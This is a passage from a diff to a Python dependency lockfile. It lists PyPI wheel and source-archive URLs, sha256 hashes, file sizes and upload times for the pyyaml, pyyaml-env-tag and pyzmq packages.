"https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" }, + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "pyyaml-env-tag" +version = "1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/2e/79c822141bfd05a853236b504869ebc6b70159afc570e1d5a20641782eaa/pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff", size = 5737, upload-time = "2025-05-13T15:24:01.64Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/11/432f32f8097b03e3cd5fe57e88efb685d964e2e5178a48ed61e841f7fdce/pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04", size = 4722, upload-time = "2025-05-13T15:23:59.629Z" }, +] + +[[package]] +name = "pyzmq" +version = "27.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "implementation_name == 'pypy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/04/0b/3c9baedbdf613ecaa7aa07027780b8867f57b6293b6ee50de316c9f3222b/pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540", size = 281750, upload-time = "2025-09-08T23:10:18.157Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/b9/52aa9ec2867528b54f1e60846728d8b4d84726630874fee3a91e66c7df81/pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4", size = 1329850, upload-time = "2025-09-08T23:07:26.274Z" }, + { url = "https://files.pythonhosted.org/packages/99/64/5653e7b7425b169f994835a2b2abf9486264401fdef18df91ddae47ce2cc/pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556", size = 906380, upload-time = "2025-09-08T23:07:29.78Z" }, + { url = "https://files.pythonhosted.org/packages/73/78/7d713284dbe022f6440e391bd1f3c48d9185673878034cfb3939cdf333b2/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b", size = 666421, upload-time = "2025-09-08T23:07:31.263Z" }, + { url = "https://files.pythonhosted.org/packages/30/76/8f099f9d6482450428b17c4d6b241281af7ce6a9de8149ca8c1c649f6792/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e", size = 854149, upload-time = "2025-09-08T23:07:33.17Z" }, + { url = "https://files.pythonhosted.org/packages/59/f0/37fbfff06c68016019043897e4c969ceab18bde46cd2aca89821fcf4fb2e/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526", size = 1655070, upload-time = "2025-09-08T23:07:35.205Z" }, + { url = "https://files.pythonhosted.org/packages/47/14/7254be73f7a8edc3587609554fcaa7bfd30649bf89cd260e4487ca70fdaa/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1", size = 2033441, upload-time = "2025-09-08T23:07:37.432Z" }, + { url = "https://files.pythonhosted.org/packages/22/dc/49f2be26c6f86f347e796a4d99b19167fc94503f0af3fd010ad262158822/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386", size = 1891529, upload-time = "2025-09-08T23:07:39.047Z" }, + { url = "https://files.pythonhosted.org/packages/a3/3e/154fb963ae25be70c0064ce97776c937ecc7d8b0259f22858154a9999769/pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda", size = 567276, upload-time = "2025-09-08T23:07:40.695Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/f4ab56c8c595abcb26b2be5fd9fa9e6899c1e5ad54964e93ae8bb35482be/pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f", size = 632208, upload-time = "2025-09-08T23:07:42.298Z" }, + { url = "https://files.pythonhosted.org/packages/3b/e3/be2cc7ab8332bdac0522fdb64c17b1b6241a795bee02e0196636ec5beb79/pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32", size = 559766, upload-time = "2025-09-08T23:07:43.869Z" }, + { url = "https://files.pythonhosted.org/packages/06/5d/305323ba86b284e6fcb0d842d6adaa2999035f70f8c38a9b6d21ad28c3d4/pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86", size = 1333328, upload-time = "2025-09-08T23:07:45.946Z" }, + { url = "https://files.pythonhosted.org/packages/bd/a0/fc7e78a23748ad5443ac3275943457e8452da67fda347e05260261108cbc/pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581", size = 908803, upload-time = "2025-09-08T23:07:47.551Z" }, + { url = "https://files.pythonhosted.org/packages/7e/22/37d15eb05f3bdfa4abea6f6d96eb3bb58585fbd3e4e0ded4e743bc650c97/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f", size = 668836, upload-time = "2025-09-08T23:07:49.436Z" }, + { url = "https://files.pythonhosted.org/packages/b1/c4/2a6fe5111a01005fc7af3878259ce17684fabb8852815eda6225620f3c59/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e", size = 857038, upload-time = "2025-09-08T23:07:51.234Z" }, + { url = "https://files.pythonhosted.org/packages/cb/eb/bfdcb41d0db9cd233d6fb22dc131583774135505ada800ebf14dfb0a7c40/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e", size = 1657531, upload-time = "2025-09-08T23:07:52.795Z" }, + { url = "https://files.pythonhosted.org/packages/ab/21/e3180ca269ed4a0de5c34417dfe71a8ae80421198be83ee619a8a485b0c7/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2", size = 2034786, upload-time = "2025-09-08T23:07:55.047Z" }, + { url = "https://files.pythonhosted.org/packages/3b/b1/5e21d0b517434b7f33588ff76c177c5a167858cc38ef740608898cd329f2/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394", size = 1894220, upload-time = "2025-09-08T23:07:57.172Z" }, + { url = "https://files.pythonhosted.org/packages/03/f2/44913a6ff6941905efc24a1acf3d3cb6146b636c546c7406c38c49c403d4/pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f", size = 567155, upload-time = "2025-09-08T23:07:59.05Z" }, + { url = "https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" }, + { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" }, + { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" }, + { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" }, + { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" }, + { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" }, + { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" }, + { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" }, + { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" }, + { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" }, + { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" }, + { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" }, + { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" }, + { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" }, + { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" }, + { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" }, + { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" }, + { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" }, + { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" }, + { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" }, + { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" }, + { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" }, + { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" }, + { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" }, + { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" }, + { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" }, + { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" }, + { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" }, + { url = 